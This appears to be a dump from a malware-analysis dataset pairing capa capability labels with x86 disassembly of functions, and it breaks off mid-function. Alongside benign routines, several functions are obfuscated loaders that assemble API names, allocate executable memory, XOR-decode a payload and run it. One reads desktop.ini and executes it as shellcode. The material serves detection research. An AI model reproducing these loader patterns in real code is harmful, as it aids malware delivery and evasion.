joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5f7c00
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov edx, 0x55555556
mov ebp, esp
push edi
push esi
push ebx
lea edi, [ebp - 0x58]
mov esi, 0x7424f1
sub esp, 0x7c
mov eax, dword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov dword [ebp - 0x78], ecx
mov ecx, 0x10
mov dword [ebp - 0x59], eax
mov eax, dword [0x74252d]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
mov dword [esp + 0xc], 0
mov dword [esp + 4], 4
mov dword [esp], 1
add ecx, 2
mov eax, ecx
sar ecx, 0x1f
imul edx
sub edx, ecx
lea ebx, [edx*4]
lea eax, [ebx + 1]
mov dword [esp + 8], eax
call fcn.004a4d50
mov esi, dword [ebp - 0x78]
test eax, eax
mov dword [esi], eax
je 0x5f7dc8
mov dword [eax + 4], ebx
add ebx, eax
add ebx, dword [eax + 0xc]
mov eax, dword [ebp - 0x78]
mov byte [ebx], 0
mov eax, dword [eax]
mov edx, dword [eax]
cmp edx, 1
jbe 0x5f7db5
movsx edx, byte [eax + 0xb]
mov ebx, dword [ebp - 0x78]
mov ecx, ebx
shr edx, 0x1f
mov dword [esp + 4], edx
mov eax, dword [eax + 4]
add eax, 1
mov dword [esp], eax
call fcn.004a5590
mov edx, dword [ebx]
sub esp, 8
mov ecx, dword [edx + 0xc]
lea eax, [edx + ecx + 4]
xor ebx, ebx
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov ecx, dword [edx + 4]
cmp ecx, ebx
mov dword [ebp - 0x6c], ecx
jle 0x5f7d65
mov esi, dword [edx + 0xc]
lea eax, [edx + ebx]
lea edi, [ebx + 1]
movzx eax, byte [eax + esi]
shl eax, 0x10
cmp ecx, edi
je 0x5f7d91
add edx, esi
lea ecx, [ebx + 2]
movzx esi, byte [edx + ebx + 1]
shl esi, 8
or eax, esi
cmp dword [ebp - 0x6c], ecx
je 0x5f7da1
movzx edx, byte [edx + ecx]
add ebx, 3
or eax, edx
mov edx, eax
and edx, 0x3f
mov ecx, eax
mov edi, dword [ebp - 0x70]
sar ecx, 0x12
movzx ecx, byte [ebp + ecx - 0x59]
mov byte [edi - 4], cl
mov ecx, eax
sar ecx, 0xc
and ecx, 0x3f
cmp dword [ebp - 0x74], 2
movzx ecx, byte [ebp + ecx - 0x59]
mov byte [edi - 3], cl
jne 0x5f7d72
mov byte [edi - 2], 0x3d
mov eax, dword [ebp - 0x70]
mov byte [eax - 1], 0x3d
mov eax, dword [ebp + 8]
add dword [ebp - 0x70], 4
mov edx, dword [eax]
mov ecx, dword [edx + 4]
cmp ecx, ebx
mov dword [ebp - 0x6c], ecx
jg 0x5f7cdf
mov eax, dword [ebp - 0x78]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4
sar eax, 6
and eax, 0x3f
movzx eax, byte [ebp + eax - 0x59]
mov byte [edi - 2], al
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x5f7d47
movzx eax, byte [ebp + edx - 0x59]
mov byte [edi - 1], al
jmp 0x5f7d4e
mov ebx, ecx
xor edx, edx
mov dword [ebp - 0x74], 2
jmp 0x5f7d1d
mov edx, eax
mov ebx, dword [ebp - 0x6c]
mov dword [ebp - 0x74], 1
and edx, 0x3f
jmp 0x5f7d1d
mov ecx, dword [eax + 0xc]
mov edx, eax
cmp ecx, 0x10
jne 0x5f7c96
jmp 0x5f7cbc
call fcn.0071fff4
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
jmp 0x5f7c7b
Function at 0x60c320
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov edx, dword [esp + 0x40]
mov eax, dword [edx]
shr eax, 4
and eax, 1
test byte [ecx], 0x10
je 0x60c3b0
test eax, eax
jne 0x60c490
movzx esi, word [edx + 8]
lea ebx, [edx + 8]
mov eax, 1
test si, si
je 0x60c39f
movzx edi, word [ecx + 4]
mov ebp, dword [edx + 4]
lea eax, [ecx + 6]
cmp ebp, edi
mov dword [esp + 0x1c], edi
cmovle edi, ebp
add edi, eax
cmp eax, edi
jae 0x60c4eb
movzx edx, byte [ecx + 6]
cmp si, dx
mov ecx, edx
je 0x60c38e
jmp 0x60c4f9
movzx ecx, byte [eax]
movzx esi, word [ebx]
cmp ecx, esi
jne 0x60c4f9
add eax, 1
add ebx, 2
cmp edi, eax
jne 0x60c380
cmp ebp, dword [esp + 0x1c]
setle al
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 4
test eax, eax
jne 0x60c412
mov eax, dword [edx + 4]
mov ebp, dword [ecx + 4]
lea esi, [ecx + 8]
lea edi, [edx + 8]
cmp ebp, eax
mov dword [esp + 0x1c], eax
cmovle eax, ebp
test eax, eax
je 0x60c3fe
movzx ebx, word [edx + 8]
movzx edx, word [ecx + 8]
cmp bx, dx
jne 0x60c4e0
lea ecx, [eax - 1]
xor eax, eax
jmp 0x60c3fa
movzx ebx, word [edi + eax*2 + 2]
add eax, 1
movzx edx, word [esi + eax*2]
cmp bx, dx
jne 0x60c4e0
cmp ecx, eax
jne 0x60c3e5
cmp ebp, dword [esp + 0x1c]
setl al
add esp, 0x2c
xor eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret 4
movzx esi, byte [edx + 6]
lea eax, [edx + 6]
mov dword [esp + 0x1c], eax
mov eax, 1
mov ebx, esi
test bl, bl
je 0x60c39f
movzx ebp, word [edx + 4]
mov edi, dword [ecx + 4]
lea eax, [ecx + 8]
mov edx, edi
cmp ebp, edi
cmovle edx, ebp
lea edx, [eax + edx*2]
cmp eax, edx
jae 0x60c47d
movzx ecx, word [ecx + 8]
movzx esi, bl
mov ebx, dword [esp + 0x1c]
cmp si, cx
je 0x60c46f
jmp 0x60c51d
movzx ecx, word [eax]
movzx esi, byte [ebx]
cmp cx, si
jne 0x60c51d
add eax, 2
add ebx, 1
cmp edx, eax
ja 0x60c460
mov dword [esp + 0x1c], ebx
cmp eax, edx
jne 0x60c513
cmp ebp, edi
setle al
jmp 0x60c39f
movzx esi, word [edx + 4]
movzx ebx, word [ecx + 4]
cmp esi, ebx
jle 0x60c503
test ebx, ebx
mov eax, ebx
je 0x60c530
add edx, 6
add ecx, 6
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp], ecx
call sub.msvcrt.dll_memcmp
mov edx, eax
xor eax, eax
test edx, edx
js 0x60c39f
cmp esi, ebx
setg al
test edx, edx
sete dl
and eax, edx
xor eax, 1
jmp 0x60c39f
cmp bx, dx
seta al
jmp 0x60c405
je 0x60c398
movzx ecx, byte [ecx + 6]
movzx esi, word [edx + 8]
cmp ecx, esi
setge al
jmp 0x60c39f
test esi, esi
mov eax, esi
jne 0x60c4a6
mov eax, 1
jmp 0x60c39f
movzx ecx, word [eax]
mov eax, dword [esp + 0x1c]
movzx esi, byte [eax]
cmp si, cx
setbe al
jmp 0x60c39f
xor eax, eax
jmp 0x60c39f
Function at 0x626200
Capabilities:
Query or enumerate registry value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov eax, dword [ecx]
mov esi, dword [esp + 0x44]
test eax, eax
je 0x626248
lea edx, [esp + 0x24]
mov ebx, ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], edx
mov dword [esp + 4], esi
mov dword [esp], eax
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
call edi
sub esp, 0x18
test eax, eax
je 0x626255
xor eax, eax
xor edx, edx
add esp, 0x30
pop ebx
pop esi
pop edi
ret 8
cmp dword [esp + 0x24], 4
jne 0x626248
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp + 0x28], 0
mov dword [esp + 0x14], eax
lea eax, [esp + 0x28]
mov dword [esp + 0x2c], 4
mov dword [esp + 0x10], eax
mov eax, dword [ebx]
mov dword [esp], eax
call edi
mov edx, eax
sub esp, 0x18
test edx, edx
mov edx, 0
mov eax, dword [esp + 0x28]
sete dl
jmp 0x62624c
Function at 0x6262b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x28], 0x880f80
mov eax, dword [eax]
test eax, eax
je 0x626370
lea edi, [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 0x14], edi
lea edi, [ebp - 0x24]
mov dword [esp + 4], esi
mov dword [ebp - 0x2c], eax
mov dword [esp + 0xc], edi
call eax
sub esp, 0x18
test eax, eax
jne 0x626313
mov eax, dword [ebp - 0x24]
sub eax, 1
cmp eax, 1
jbe 0x626380
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], 0x880f80
mov dword [ebx], eax
mov eax, 0x880f80
mov edx, dword [eax]
test edx, edx
je 0x626341
cmp edx, 0xffffffff
je 0x626335
lock sub dword [eax], 1
je 0x626341
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
mov eax, dword [ebp - 0x28]
mov dword [esp + 8], 4
mov dword [esp + 4], 2
mov dword [esp], eax
call fcn.004a4c50
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 0xc
mov dword [ecx], 0x880f80
mov eax, 0x880f80
jmp 0x626324
mov eax, dword [ebp - 0x20]
cmp eax, 2
jbe 0x626313
shr eax, 1
lea ecx, [ebp - 0x1c]
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.005b0ff0
mov edx, dword [ebp - 0x1c]
sub esp, 8
mov eax, dword [edx]
cmp eax, 1
ja 0x6263b4
mov ecx, dword [edx + 0xc]
mov eax, edx
cmp ecx, 0x10
je 0x6263d6
mov dword [esp + 4], 0
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x1c]
add eax, 1
mov dword [esp], eax
call fcn.005ab710
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov ecx, dword [eax + 0xc]
add eax, ecx
lea edx, [ebp - 0x20]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x14], edx
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [ebp - 0x2c]
call eax
sub esp, 0x18
test eax, eax
je 0x626480
mov edx, dword [ebp - 0x1c]
mov eax, 0x880f80
cmp edx, eax
je 0x626433
mov dword [ebp - 0x1c], eax
mov eax, dword [edx]
test eax, eax
je 0x6264b7
cmp eax, 0xffffffff
je 0x626430
lock sub dword [edx], 1
je 0x6264b7
nop
mov eax, dword [ebp - 0x1c]
mov dword [ebx], eax
mov dword [ebp - 0x1c], 0x880f80
mov eax, dword [0x880f80]
test eax, eax
je 0x626460
cmp eax, 0xffffffff
je 0x626454
lock sub dword [0x880f80], 1
je 0x626460
mov eax, dword [ebp - 0x28]
jmp 0x626324
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], 4
mov dword [esp + 4], 2
mov dword [esp], eax
call fcn.004a4c50
jmp 0x626454
xor eax, eax
lea ecx, [ebp - 0x1c]
mov dword [esp + 4], 1
mov word [esp], ax
call fcn.00667010
sub esp, 8
test al, al
je 0x626430
lea ecx, [ebp - 0x1c]
mov dword [esp], 1
call fcn.005acba0
sub esp, 4
mov eax, dword [ebp - 0x1c]
jmp 0x626433
mov dword [esp + 8], 4
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.004a4c50
jmp 0x626430
Function at 0x644d70
Capabilities:
Get geographical location

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x4c
mov dword [esp], 0x10
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
sub esp, 4
lea edi, [esp + 0x38]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 3
mov dword [esp + 4], 4
mov dword [esp], eax
mov dword [esp + 8], edi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
sub esp, 0x14
cmp eax, 3
je 0x644ec2
lea esi, [esp + 0x2c]
mov eax, esi
call fcn.004db3f0
mov dword [esp + 0x30], 0x880f80
mov eax, 0x880f80
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x644e72
mov dword [esp + 0x30], 0x880f80
mov edx, 0x880f80
mov dword [ebx], eax
mov eax, dword [edx]
test eax, eax
je 0x644e54
cmp eax, 0xffffffff
je 0x644e01
lock sub dword [edx], 1
je 0x644e54
mov eax, dword [esp + 0x2c]
mov edx, dword [eax]
test edx, edx
je 0x644e30
cmp edx, 0xffffffff
je 0x644e1a
lock sub dword [eax], 1
mov eax, dword [esp + 0x2c]
je 0x644e30
add esp, 0x4c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 4
mov dword [esp], eax
mov dword [esp + 8], 4
mov dword [esp + 4], 1
call fcn.004a4c50
add esp, 0x4c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 4
mov eax, dword [esp + 0x30]
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.004a4c50
jmp 0x644e01
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0051a9c0
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x38]
mov dword [esp + 0x38], eax
mov dword [esp + 0x30], edx
mov edx, dword [eax]
test edx, edx
je 0x644f50
cmp edx, 0xffffffff
je 0x644ea7
lock sub dword [eax], 1
je 0x644f50
mov eax, dword [esp + 0x30]
mov edx, dword [eax + 4]
test edx, edx
jne 0x644de1
mov edx, eax
mov eax, 0x8c0c18
jmp 0x644dee
lea esi, [esp + 0x2c]
mov dword [esp], 3
mov dword [esp + 4], edi
call fcn.004f32b0
mov ebp, eax
mov eax, esi
call fcn.004db3f0
test ebp, ebp
mov dword [esp + 0x30], 0x880f80
je 0x644f71
lea eax, [esp + 0x34]
mov dword [esp + 8], ebp
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0051aa30
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x34]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], edx
mov edx, dword [eax]
test edx, edx
je 0x644f30
cmp edx, 0xffffffff
je 0x644f24
lock sub dword [eax], 1
je 0x644f30
mov eax, dword [esp + 0x30]
jmp 0x644dd6
mov eax, dword [esp + 0x34]
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.004a4c50
jmp 0x644f24
mov eax, dword [esp + 0x38]
mov dword [esp + 8], 4
mov dword [esp + 4], 1
mov dword [esp], eax
call fcn.004a4c50
jmp 0x644ea7
mov eax, 0x880f80
jmp 0x644dd6
Function at 0x6f2610
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
push edi
push esi
push ebx
mov edi, dword [esp + 0x18]
mov esi, dword [esp + 0x14]
mov eax, edi
sub eax, esi
mov edx, eax
sar eax, 3
sar edx, 1
test eax, eax
jle 0x6f2727
mov ebx, dword [esp + 0x1c]
movzx ebx, word [ebx]
cmp word [esi], bx
je 0x6f272e
cmp bx, word [esi + 2]
je 0x6f2737
cmp bx, word [esi + 4]
je 0x6f2741
cmp bx, word [esi + 6]
lea ebp, [esi + eax*8]
mov edx, ebx
lea eax, [esi + 6]
jne 0x6f2689
jmp 0x6f26b3
movzx edx, word [esi + 8]
cmp dx, bx
je 0x6f26b3
movzx edx, word [ecx + 2]
cmp dx, bx
je 0x6f26b0
movzx edx, word [ecx + 4]
cmp dx, bx
je 0x6f26f2
movzx edx, word [ecx + 6]
cmp dx, bx
je 0x6f2700
mov esi, ecx
lea ecx, [esi + 8]
cmp ecx, ebp
mov eax, ecx
jne 0x6f2663
mov edx, edi
sub edx, ebp
sar edx, 1
cmp edx, 2
je 0x6f2716
cmp edx, 3
je 0x6f2705
cmp edx, 1
je 0x6f26e2
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [esi + 0xa]
cmp edi, eax
je 0x6f26a9
lea ecx, [eax + 2]
cmp edi, ecx
je 0x6f26a9
mov ebx, dword [esp + 0x1c]
jmp 0x6f26c7
movzx edx, word [ebx]
cmp word [ecx], dx
je 0x6f26d6
movzx edx, word [ecx]
add eax, 2
mov word [eax - 2], dx
add ecx, 2
cmp edi, ecx
jne 0x6f26c4
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [esp + 0x1c]
movzx edx, word [esi]
cmp word [eax], dx
je 0x6f26b3
mov eax, edi
jmp 0x6f26a9
lea eax, [esi + 0xc]
jmp 0x6f26b3
lea eax, [esi + 0xe]
jmp 0x6f26b3
mov esi, dword [esp + 0x1c]
movzx edx, word [esi]
cmp word [eax], dx
je 0x6f26b3
add eax, 2
jmp 0x6f271d
mov esi, dword [esp + 0x1c]
movzx edx, word [esi]
cmp word [eax], dx
je 0x6f26b3
add eax, 2
jmp 0x6f26e9
mov eax, esi
jmp 0x6f2698
mov edx, ebx
mov eax, esi
jmp 0x6f26b3
lea eax, [esi + 2]
mov edx, ebx
jmp 0x6f26b3
lea eax, [esi + 4]
mov edx, ebx
jmp 0x6f26b3
Function at 0x721690
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00457d50
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00457d50
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
pop ebp
jmp fcn.004014e0
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2341383b
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5bfa35ce
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4066f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x406706
pop dword [ebp - 4]
mov eax, 0x976e9e09
add eax, 0x68d1c8fd
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0x822be2f1
sub dword [ebp - 0x14], 0x33d99da6
mov dword [ebp - 0x10], 0x1d035ba0
add dword [ebp - 0x10], 0x152ff0a5
mov dword [ebp - 0xc], 0x34514e3d
sub dword [ebp - 0xc], 0xe8050a0f
mov dword [ebp - 8], 0x76cdc77
sub dword [ebp - 8], 0x76cdc77
lea eax, [ebp - 0x14]
push eax
mov eax, 0xfdb6c4b5
add eax, 0x289bc07
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x8c29ae3e
add dword [ebp - 0x14], 0xe848bb18
mov dword [ebp - 0x10], 0x6f00afaa
add dword [ebp - 0x10], 0xd26bb1cb
mov dword [ebp - 0xc], 0xcf7cbd07
sub dword [ebp - 0xc], 0x6c0d509b
mov dword [ebp - 8], 0xa4bd46af
add dword [ebp - 8], 0x5b42b951
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0x3bddcde
sub eax, 0x37d5cce
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x36dab
push 0
call eax
mov ecx, 0x3b5f23fd
sub ecx, 0x3b5edc6a
xor esi, esi
add esi, eax
mov edx, 0xc5a2d756
sub edx, 0xc561eb56
add edx, dword [ebp - 4]
mov edi, 0xd29ddaaf
mov ebx, dword [edx]
xor ebx, edi
mov dword [esi], ebx
add esi, 4
add edx, 0xeca446ee
add edx, 0x135bb916
loop 0x406824
add eax, 0xb69bbdc2
sub eax, 0xb69aaca3
xor ebx, ebx
add ebx, eax
add eax, 0x4e1562a2
sub eax, 0x4e15629d
mov ecx, 0x400000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x406b00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c148]
jne 0x406b0a
repz ret
jmp fcn.0040704e
Function at 0x409908
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x409912
repz ret
jmp fcn.0041156c

Function at 0x416f34
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x416f43
pop dword [ebp - 0x14]
mov eax, 0x416f43
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xe45f03c0
sub dword [ebp - 0x24], 0x960cbe75
mov dword [ebp - 0x20], 0x37135d37
add dword [ebp - 0x20], 0xfb1fef0e
mov dword [ebp - 0x1c], 0x6924b86d
sub dword [ebp - 0x1c], 0x1cd8743f
mov dword [ebp - 0x18], 0x93818c65
sub dword [ebp - 0x18], 0x93818c65
lea eax, [ebp - 0x24]
push eax
mov eax, 0x61309276
add eax, 0x9f112dda
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xa9a7b9fd
sub dword [ebp - 0x24], 0x353550a7
mov dword [ebp - 0x20], 0x7e62a825
sub dword [ebp - 0x20], 0x3cf646b0
mov dword [ebp - 0x1c], 0x4f44b479
sub dword [ebp - 0x1c], 0xebd5480d
mov dword [ebp - 0x18], 0xed00f272
sub dword [ebp - 0x18], 0xed00f272
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xb8dd1fa5
sub eax, 0xb89b5f59
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3afd2
push 0
call eax
mov ecx, 0x1414c67d
sub ecx, 0x141481b7
mov edi, eax
mov ebx, 0xc0d69a2d
add ebx, 0x3f6c8fd3
add ebx, dword [ebp - 0x14]
mov edx, 0xf51dc39f
add edx, 0xb0a5aa7
mov esi, dword [ebx]
mov dword [ebp - 0x10], 0x393ef6af
add esi, edx
add dword [ebp - 0xc], esi
mov dword [edi], esi
xor dword [ebp - 8], 0xb3de9b4c
add edi, 0xe948a50b
sub edi, 0xe948a507
add ebx, 0x2575cf85
add ebx, 0xda8a307f
loop 0x417060
add eax, 0xcf5a7a97
add eax, 0x30a68b54
mov ebx, eax
add eax, 0xc2da8977
sub eax, 0xc2da8972
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10005936
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10005945
pop dword [ebp - 0xc]
mov eax, 0x447af54d
add eax, 0xcb8563f8
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x99f28e48
sub dword [ebp - 0x1c], 0x4ba048fd
mov dword [ebp - 0x18], 0xdfb74c67
sub dword [ebp - 0x18], 0xad840022
mov dword [ebp - 0x14], 0x53b3d624
add dword [ebp - 0x14], 0xf8986e0a
mov dword [ebp - 0x10], 0x59342588
add dword [ebp - 0x10], 0xa6cbda78
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x8f7172e7
add dword [ebp - 0x1c], 0xe500f66f
mov dword [ebp - 0x18], 0xd4407b27
sub dword [ebp - 0x18], 0x92d419b2
mov dword [ebp - 0x14], 0x2d08244
sub dword [ebp - 0x14], 0x9f6115d8
mov dword [ebp - 0x10], 0xe81d5549
sub dword [ebp - 0x10], 0xe81d5549
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xdf3c7e4
add eax, 0x20e381c
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x39c95
push 0
call eax
mov ecx, 0xa616b56d
sub ecx, 0xa6167896
mov esi, eax
mov edi, 0x245dc652
sub edi, 0x145b0a52
add edi, dword [ebp - 0xc]
mov edx, 0x4c1c2064
sub edx, 0x979a0536
xor dword [ebp - 4], 0xad077a52
mov ebx, dword [edi]
mov dword [ebp - 8], 0xa987e313
xor ebx, edx
xor dword [ebp - 8], ebx
mov dword [esi], ebx
add dword [ebp - 8], edx
add esi, 4
add edi, 4
loop 0x10005a62
add eax, 0x8d9a4d8f
add eax, 0x726698a0
mov ebx, eax
add eax, 0x45e1a190
add eax, 0xba1e5e75
mov ecx, 0x9919fe1f
add ecx, 0x76e601e1
add ecx, dword [ebp - 0xc]
call ebx
leave
jb 0x10005ac0
invalid
Function at 0x4068ae
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x4068d7
mov al, byte [esi + 1]
inc esi
test al, al
je 0x4068cf
cmp al, 0x22
jne 0x4068c3
cmp byte [esi], 0x22
jne 0x4068e1
inc esi
jmp 0x4068e1
cmp al, 0x20
jle 0x4068e1
inc esi
cmp byte [esi], 0x20
jg 0x4068db
mov al, byte [esi]
test al, al
je 0x4068eb
cmp al, 0x20
jle 0x4068d4
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.0040695b
push 0x409004
push section..data
call fcn.00406941
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40691b
movzx eax, word [ebp - 0x14]
jmp 0x40691e
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00406973
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x25815b05
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x25815b14
pop dword [ebp - 0x2c]
mov eax, 0x25815b14
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0xe5c5f539
add dword [ebp - 0x3c], 0x688c5012
mov dword [ebp - 0x38], 0x11093238
sub dword [ebp - 0x38], 0xded5e5f3
mov dword [ebp - 0x34], 0x7e59141e
add dword [ebp - 0x34], 0xcdf33010
mov dword [ebp - 0x30], 0x820bc2e7
add dword [ebp - 0x30], 0x7df43d19
lea eax, [ebp - 0x3c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x8928a0f3
add dword [ebp - 0x3c], 0xeb49c863
mov dword [ebp - 0x38], 0x2a08d8f0
add dword [ebp - 0x38], 0x17638885
mov dword [ebp - 0x34], 0xe3269c9e
sub dword [ebp - 0x34], 0x7fb73032
mov dword [ebp - 0x30], 0xd7a92d98
add dword [ebp - 0x30], 0x2856d268
lea ebx, [ebp - 0x3c]
push ebx
push eax
